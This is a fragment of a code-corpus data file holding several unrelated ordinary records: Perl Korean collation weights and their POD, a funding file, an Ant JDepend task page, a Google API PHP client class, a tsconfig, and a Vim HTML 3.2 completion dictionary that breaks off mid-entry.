718F 71FB 85B0 8A13 6688\n66DB 720B 736F 7E81 8477 9442\nD6CC\n6B3B\nD6D9\n85A8\nD6E4\n55A7 6684 714A 8431 70DC 8AE0 8AFC\nD6FC\n5349 5599 6BC1 71EC 8294 866B 867A\nD718\n5F59 5FBD 63EE 6689 7147 8AF1 8F1D 9EBE 649D 7FEC\nD734\n4F11 643A 70CB 7566 8667 54BB 64D5 96B3 9AF9 9D42\nD73C\n6064 8B4E 9DF8 5379\nD749\n5147 51F6 5308 6D36 80F8 605F 80F7\nD751\n9ED1\nD754\n6615 6B23 7098 75D5 5F88 5FFB 6380 712E 8A22 91C1\nD758\n5403 5C79 7D07 8A16 4EE1 6C54 7599 8FC4 9F55\nD760\n6B20 6B3D 6B46 5EDE\nD761\n5438 6070 6D3D 7FD5 564F 6B59 6F5D 7FD6\nD765\n8208\nD76C\n50D6 51DE 559C 566B 56CD 59EC 5B09 5E0C 6199 6198\n6231 665E 66E6 7199 71B9 71BA 72A7 79A7 7A00 7FB2\n54A5 550F 563B 6095 6232 66BF 6B37 71F9 7214 8C68\n993C\nD790\n8A70 72B5 7E88 896D 9821 9EE0\n__END__\n\n=head1 NAME\n\nUnicode::Collate::CJK::Korean - weighting CJK Unified Ideographs\nfor Unicode::Collate\n\n=head1 SYNOPSIS\n\n use Unicode::Collate;\n use Unicode::Collate::CJK::Korean;\n\n my $collator = Unicode::Collate->new(\n overrideCJK => \\&Unicode::Collate::CJK::Korean::weightKorean\n );\n\n=head1 DESCRIPTION\n\nC provides C,\nthat is adequate for C of C\nand makes tailoring of CJK Unified Ideographs in the order\nof CLDR's Korean ordering.\n\n=head1 SEE ALSO\n\n=over 4\n\n=item CLDR - Unicode Common Locale Data Repository\n\nL\n\n=item Unicode Locale Data Markup Language (LDML) - UTS #35\n\nL\n\n=item L\n\n=item L\n\n=back\n\n=cut\n"} +{"text": "patreon: gibbed\nko_fi: gibbed\ncustom: https://paypal.me/gibbed\n"} +{"text": "\n\n\n\n \n JDepend Task\n\n\n\n\n

    JDepend

    \n\n

    Description

    \n\n

    Invokes the JDepend\nparser.

    \n\n

    This parser "traverses a set of Java source file directories and generates design quality\nmetrics for each Java package". It allows to "automatically measure the quality of a\ndesign in terms of its extensibility, reusability, and maintainability to effectively manage and\ncontrol package dependencies."

    \n\n

    Source file directories are defined by nested <sourcespath>. Class file\ndirectories are defined by nested <classespath>. See nested\nelements.

    \n\n

    Optionally, you can also set the outputfile name where the output is stored. By\ndefault the task writes its report to the standard output.

    \n\n

    The task requires at least the JDepend 1.2 version.

    \n\n

    Parameters

    \n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    AttributeDescriptionRequired
    outputfileThe output file name. If not set, the output is printed on the standard output.No
    formatThe format to write the output in,\n either text (default) or xmlNo; the default is text
    forkRun the tests in a separate JVM.No; default is off
    haltonerrorStop the build process if an error occurs during the jdepend analysis.No; default is off
    timeoutCancel the operation if it doesn't finish in the given time (measured in milliseconds).No, ignored if fork is false
    jvmThe command used to invoke JVM. The command is resolved\n by java.lang.Runtime.exec().No; default java, ignored if fork is false
    dirThe directory to invoke JVM in.No, ignored if fork is false
    includeruntimeImplicitly add the classes required to run jdepend in forked mode. Since\n Apache Ant 1.6.No; default is no, ignored if fork is false
    classpathrefthe classpath to use, given as reference to a path defined elsewhere.No
    \n\n

    Parameters specified as nested elements

    \n\n

    jdepend supports four nested\nelements: <classpath>, <classespath>\nand <sourcespath>, that represent path-like\nstructures, and <exclude>.

    \n\n

    <sourcespath> is used to define the paths of the source code to analyze, but\nit is deprecated. With version 2.5 of JDepend, only class files are analyzed. The nested\nelement <classespath> replaces <sourcespath> and is used to\ndefine the paths of compiled class code to analyze; the <sourcespath> variable is\nstill available in case you are using an earlier version of JDepend.\nThe <exclude> element can be used to set packages to ignore (requires JDepend 2.5\nor above).

    \n\n

    Examples

    \n\n

    Invoke JDepend on the build directory, writing the output on the standard\noutput. The classpath is defined using a reference.

    \n
    \n<jdepend classpathref=\"base.path\">\n    <classespath>\n        <pathelement location=\"build\"/>\n    </classespath>\n</jdepend>
    \n\n

    This invoke JDepend in a separate JVM on the src and testsrc\ndirectories, writing the output to the docs/jdepend.xml file in XML format. The\nclasspath is defined using nested elements.

    \n
    \n<jdepend outputfile=\"docs/jdepend.xml\" fork=\"yes\" format=\"xml\">\n    <sourcespath>\n        <pathelement location=\"src\"/>\n    </sourcespath>\n    <classpath>\n        <pathelement location=\"classes\"/>\n        <pathelement location=\"lib/jdepend.jar\"/>\n    </classpath>\n</jdepend>
    \n\n

    Invoke JDepend with the build directory as the base for class files to analyze, and ignore all\nclasses in the java.* and javax.* packages.

    \n
    \n<jdepend classpathref=\"base.path\">\n    <exclude name=\"java.*>\n    <exclude name=\"javax.*>\n    <classespath>\n        <pathelement location=\"build\"/>\n    </classespath>\n</jdepend>
    \n\n\n\n"} +{"text": "\n * $partnersService = new Google_Service_Partners(...);\n * $userEvents = $partnersService->userEvents;\n * \n */\nclass Google_Service_Partners_Resource_UserEvents extends Google_Service_Resource\n{\n /**\n * Logs a user event. (userEvents.log)\n *\n * @param Google_Service_Partners_LogUserEventRequest $postBody\n * @param array $optParams Optional parameters.\n * @return Google_Service_Partners_LogUserEventResponse\n */\n public function log(Google_Service_Partners_LogUserEventRequest $postBody, $optParams = array())\n {\n $params = array('postBody' => $postBody);\n $params = array_merge($params, $optParams);\n return $this->call('log', array($params), \"Google_Service_Partners_LogUserEventResponse\");\n }\n}\n"} +{"text": "{\n \"compilerOptions\": {\n \"target\": \"es5\",\n \"module\": \"commonjs\",\n \"moduleResolution\": \"node\",\n \"sourceMap\": true,\n \"emitDecoratorMetadata\": true,\n \"experimentalDecorators\": true,\n \"removeComments\": false,\n \"noImplicitAny\": false\n }\n}\n\n"} +{"text": "let g:xmldata_html32 = {\n\\ 'vimxmlentities': ['AElig', 'Aacute', 'Acirc', 'Agrave', 'Aring', 'Atilde', 'Auml', 'Ccedil', 'ETH', 'Eacute', 'Ecirc', 'Egrave', 'Euml', 'Iacute', 'Icirc', 'Igrave', 'Iuml', 'Ntilde', 'Oacute', 'Ocirc', 'Ograve', 'Oslash', 'Otilde', 'Ouml', 'THORN', 'Uacute', 'Ucirc', 'Ugrave', 'Uuml', 'Yacute', 'aacute', 'acirc', 'acute', 'aelig', 'agrave', 'amp', 'aring', 'atilde', 'auml', 'brvbar', 'ccedil', 'cedil', 'cent', 'copy', 'curren', 'deg', 'divide', 'eacute', 'ecirc', 'egrave', 'eth', 'euml', 'frac12', 'frac14', 'frac34', 'gt', 'iacute', 'icirc', 'iexcl', 'igrave', 'iquest', 'iuml', 'laquo', 'lt', 'macr', 'micro', 'middot', 'nbsp', 'not', 'ntilde', 'oacute', 'ocirc', 'ograve', 'ordf', 'ordm', 'oslash', 'otilde', 'ouml', 'para', 'plusmn', 'pound', 'raquo', 'reg', 'sect', 'shy', 'sup1', 'sup2', 'sup3', 'szlig', 'thorn', 'times', 'uacute', 'ucirc', 'ugrave', 'uml', 'uuml', 'yacute', 'yen', 'yuml'],\n\\ 'vimxmlroot': ['html'],\n\\ 'a': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'rel': [], 'href': [], 'name': [], 'rev': [], 'title': []}\n\\ ],\n\\ 'address': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p'],\n\\ { }\n\\ ],\n\\ 'applet': [\n\\ ['param', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'width': [], 'vspace': [], 'alt': [], 'align': ['top', 'middle', 'bottom', 'left', 'right'], 'name': [], 'height': [], 'hspace': [], 'codebase': [], 'code': []}\n\\ ],\n\\ 'area': [\n\\ [],\n\\ { 'alt': [], 'coords': [], 'nohref': ['BOOL'], 'href': [], 'shape': ['rect', 'circle', 'poly']}\n\\ ],\n\\ 'b': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'base': [\n\\ [],\n\\ { 'href': []}\n\\ ],\n\\ 'basefont': [\n\\ [],\n\\ { 'size': []}\n\\ ],\n\\ 'big': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'blockquote': [\n\\ ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table', 'address'],\n\\ { }\n\\ ],\n\\ 'body': [\n\\ ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table', 'address'],\n\\ { 'link': [], 'vlink': [], 'background': [], 'alink': [], 'bgcolor': [], 'text': []}\n\\ ],\n\\ 'br': [\n\\ [],\n\\ { 'clear': ['none', 'left', 'all', 'right', 'none']}\n\\ ],\n\\ 'caption': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['top', 'bottom']}\n\\ ],\n\\ 'center': [\n\\ ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table', 'address'],\n\\ { }\n\\ ],\n\\ 'cite': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'code': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'dd': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table'],\n\\ { }\n\\ ],\n\\ 'dfn': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'dir': [\n\\ ['li'],\n\\ { 'compact': ['BOOL']}\n\\ ],\n\\ 'div': [\n\\ ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table', 'address'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'dl': [\n\\ ['dt', 'dd'],\n\\ { 'compact': ['BOOL']}\n\\ ],\n\\ 'dt': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'em': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'font': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'size': [], 'color': []}\n\\ ],\n\\ 'form': [\n\\ ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'isindex', 'hr', 'table', 'address'],\n\\ { 'enctype': ['application/x-www-form-urlencoded'], 'action': [], 'method': ['GET', 'POST']}\n\\ ],\n\\ 'h1': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'h2': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'h3': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'h4': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'h5': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'h6': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'head': [\n\\ ['title', 'isindex', 'base', 'script', 'style', 'meta', 'link'],\n\\ { }\n\\ ],\n\\ 'hr': [\n\\ [],\n\\ { 'width': [], 'align': ['left', 'right', 'center'], 'size': [], 'noshade': ['BOOL']}\n\\ ],\n\\ 'html': [\n\\ ['head', 'body', 'plaintext'],\n\\ { 'version': ['-//W3C//DTD HTML 3.2 Final//EN']}\n\\ ],\n\\ 'i': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'img': [\n\\ [],\n\\ { 'width': [], 'vspace': [], 'alt': [], 'align': ['top', 'middle', 'bottom', 'left', 'right'], 'usemap': [], 'ismap': ['BOOL'], 'src': [], 'height': [], 'border': [], 'hspace': []}\n\\ ],\n\\ 'input': [\n\\ [],\n\\ { 'maxlength': [], 'align': ['top', 'middle', 'bottom', 'left', 'right'], 'value': [], 'src': [], 'name': [], 'size': [], 'checked': ['BOOL'], 'type': ['TEXT', 'PASSWORD', 'CHECKBOX', 'RADIO', 'SUBMIT', 'RESET', 'FILE', 'IMAGE']}\n\\ ],\n\\ 'isindex': [\n\\ [],\n\\ { 'prompt': []}\n\\ ],\n\\ 'kbd': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'li': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table'],\n\\ { 'value': [], 'type': []}\n\\ ],\n\\ 'link': [\n\\ [],\n\\ { 'rel': [], 'href': [], 'rev': [], 'title': []}\n\\ ],\n\\ 'listing': [\n\\ [],\n\\ { }\n\\ ],\n\\ 'map': [\n\\ ['area'],\n\\ { 'name': []}\n\\ ],\n\\ 'menu': [\n\\ ['li'],\n\\ { 'compact': ['BOOL']}\n\\ ],\n\\ 'meta': [\n\\ [],\n\\ { 'http-equiv': [], 'name': [], 'content': []}\n\\ ],\n\\ 'ol': [\n\\ ['li'],\n\\ { 'compact': ['BOOL'], 'type': [], 'start': []}\n\\ ],\n\\ 'option': [\n\\ [''],\n\\ { 'value': [], 'selected': ['BOOL']}\n\\ ],\n\\ 'p': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'align': ['left', 'center', 'right']}\n\\ ],\n\\ 'param': [\n\\ [],\n\\ { 'value': [], 'name': []}\n\\ ],\n\\ 'plaintext': [\n\\ [],\n\\ { }\n\\ ],\n\\ 'pre': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'applet', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { 'width': ['#implied']}\n\\ ],\n\\ 'samp': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'script': [\n\\ [],\n\\ { }\n\\ ],\n\\ 'select': [\n\\ ['option'],\n\\ { 'name': [], 'size': [], 'multiple': ['BOOL']}\n\\ ],\n\\ 'small': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'strike': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'strong': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'style': [\n\\ [],\n\\ { }\n\\ ],\n\\ 'sub': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'sup': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'table': [\n\\ ['caption', 'tr'],\n\\ { 'width': [], 'align': ['left', 'center', 'right'], 'border': [], 'cellspacing': [], 'cellpadding': []}\n\\ ],\n\\ 'td': [\n\\ ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table', 'address'],\n\\ { 'width': [], 'align': ['left', 'center', 'right'], 'nowrap': ['BOOL'], 'valign': ['top', 'middle', 'bottom'], 'height': [], 'rowspan': ['1'], 'colspan': ['1']}\n\\ ],\n\\ 'textarea': [\n\\ [''],\n\\ { 'name': [], 'rows': [], 'cols': []}\n\\ ],\n\\ 'th': [\n\\ ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea', 'p', 'ul', 'ol', 'dir', 'menu', 'pre', 'xmp', 'listing', 'dl', 'div', 'center', 'blockquote', 'form', 'isindex', 'hr', 'table', 'address'],\n\\ { 'width': [], 'align': ['left', 'center', 'right'], 'nowrap': ['BOOL'], 'valign': ['top', 'middle', 'bottom'], 'height': [], 'rowspan': ['1'], 'colspan': ['1']}\n\\ ],\n\\ 'title': [\n\\ [''],\n\\ { }\n\\ ],\n\\ 'tr': [\n\\ ['th', 'td'],\n\\ { 'align': ['left', 'center', 'right'], 'valign': ['top', 'middle', 'bottom']}\n\\ ],\n\\ 'tt': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'u': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'ul': [\n\\ ['li'],\n\\ { 'compact': ['BOOL'], 'type': ['disc', 'square', 'circle']}\n\\ ],\n\\ 'var': [\n\\ ['tt', 'i', 'b', 'u', 'strike', 'big', 'small', 'sub', 'sup', 'em', 'strong', 'dfn', 'code', 'samp', 'kbd', 'var', 'cite', 'a', 'img', 'applet', 'font', 'basefont', 'br', 'script', 'map', 'input', 'select', 'textarea'],\n\\ { }\n\\ ],\n\\ 'xmp': [\n\\ [],\n\\ { }\n\\ ],\n\\ 'vimxmlattrinfo' : {\n\\ 'accept' : ['ContentType', ''],\n\\ 'accesskey' : ['Character', ''],\n\\ 'action' : ['*URI', ''],\n\\ 'align' : ['String', ''],\n\\ 'alt' : ['*Text', ''],\n\\ 'archive' : ['UriList', ''],\n\\ 'axis' : ['CDATA', ''],\n\\ 'border' : ['Pixels', ''],\n\\ 'cellpadding' : ['Length', ''],\n\\ 'cellspacing' : ['Length', ''],\n\\ 'char' : ['Character', ''],\n\\ 'charoff' : ['Length', ''],\n\\ 'charset' : ['LangCode', ''],\n\\ 'checked' : ['Bool', ''],\n\\ 'class' : ['CDATA', ''],\n\\ 'codetype' : ['ContentType', ''],\n\\ 'cols' : ['*Number', ''],\n\\ 'colspan' : ['Number', ''],\n\\ 'content' : ['*CDATA', ''],\n\\ 'coords' : ['Coords', ''],\n\\ 'data' : ['URI', ''],\n\\ 'datetime' : ['DateTime', ''],\n\\ 'declare' : ['Bool', ''],\n\\ 'defer' : ['Bool', ''],\n\\ 'dir' : ['String', ''],\n\\ 'disabled' : ['Bool', ''],\n\\ 'enctype' : ['ContentType', ''],\n\\ 'for' : ['ID', ''],\n\\ 'headers' : ['IDREFS', ''],\n\\ 'height' : ['Number', ''],\n\\ 'href' : ['*URI', ''],\n\\ 'hreflang' : ['LangCode', ''],\n\\ 'id' : ['ID', ''],\n\\ 'ismap' : ['Bool', ''],\n\\ 'label' : ['*Text', ''],\n\\ 'lang' : ['LangCode', ''],\n\\ 'longdesc' : ['URI', ''],\n\\ 'maxlength' : ['Number', ''],\n\\ 'media' : ['MediaDesc', ''],\n\\ 'method' : ['String', ''],\n\\ 'multiple' : ['Bool', ''],\n\\ 'name' : ['CDATA', ''],\n\\ 'nohref' : ['Bool', ''],\n\\ 'onblur' : ['Script', ''],\n\\ 'onchange' : ['Script', ''],\n\\ 'onclick' : ['Script', ''],\n\\ 'ondblclick' : ['Script', ''],\n\\ 'onfocus' : ['Script', ''],\n\\ 'onkeydown' : ['Script', ''],\n\\ 'onkeypress' : ['Script', ''],\n\\ 'onkeyup' : ['Script', ''],\n\\ 'onload' : ['Script', ''],\n\\ 'onmousedown' : ['Script', ''],\n\\ 'onmousemove' : ['Script', ''],\n\\ 'onmouseout' : ['Script', ''],\n\\ 'onmouseover' : ['Script', ''],\n\\ 'onmouseup' : ['Script', ''],\n\\ 'onreset' : ['Script', ''],\n\\ 'onselect' : ['Script', ''],\n\\ 'onsubmit' : ['Script', ''],\n\\ 'onunload' : ['Script', ''],\n\\ 'profile' : ['URI', ''],\n\\ 'readonly' : ['Bool', ''],\n\\ 'rel' : ['LinkTypes', ''],\n\\ 'rev' : ['LinkTypes', ''],\n\\ 'rows' : ['*Number', ''],\n\\ 'rules' : ['String', ''],\n\\ 'scheme' : ['CDATA', ''],\n\\ 'selected' : ['Bool', ''],\n\\ 'shape' : ['Shape', ''],\n\\ 'size' : ['CDATA', ''],\n\\ 'span' : ['Number', ''],\n\\ 'src' : ['*URI', ''],\n\\ 'standby' : ['Text', ''],\n\\ 'style' : ['StyleSheet', ''],\n\\ 'summary' : ['*Text', ''],\n\\ 'tabindex' : ['Number', ''],\n\\ 'title' : ['Text', ''],\n\\ 'type' : ['*ContentType', ''],\n\\ 'usemap' : ['URI', ''],\n\\ 'valign' : ['String', ''],\n\\ 'valuetype' : ['String', ''],\n\\ 'width' : ['Number', ''],\n\\ 'xmlns' : ['URI', '']\n\\ },\n\\ 'vimxmltaginfo': {\n\\ 'area': ['/>', ''],\n\\ 'base': ['/>', 